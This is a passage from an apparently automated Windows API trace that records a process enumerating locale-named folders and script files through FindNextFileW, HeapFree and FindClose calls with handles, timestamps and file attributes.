(in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0269.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.153] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0269.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.154] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0269.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.154] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0269.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.155] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0269.155] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.155] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0269.156] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.156] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0269.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.157] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0269.157] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.157] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0269.158] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.158] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0269.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.159] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0269.159] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.159] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0269.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.160] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0269.160] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.160] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0269.161] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.161] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0269.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.162] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0269.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.162] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0269.162] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.162] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0269.163] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.163] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0269.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.164] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0269.164] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.165] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0269.165] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.165] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0269.169] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.169] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0269.169] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.169] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0269.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.170] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0269.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.170] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0269.170] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.170] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.171] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0269.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.171] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0269.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.171] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0269.171] FindClose (in: hFindFile=0x6eb770 | out: hFindFile=0x6eb770) returned 1 [0269.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4021ef0 | out: hHeap=0x630000) returned 1 [0269.172] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2f1b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0269.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.172] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0269.172] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0269.172] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.174] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-computer-select", cAlternateFileName="MY-COM~1")) returned 1 [0269.367] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.367] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0269.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.368] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9dc909, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9dc909, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9dc909, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0269.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0269.369] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, 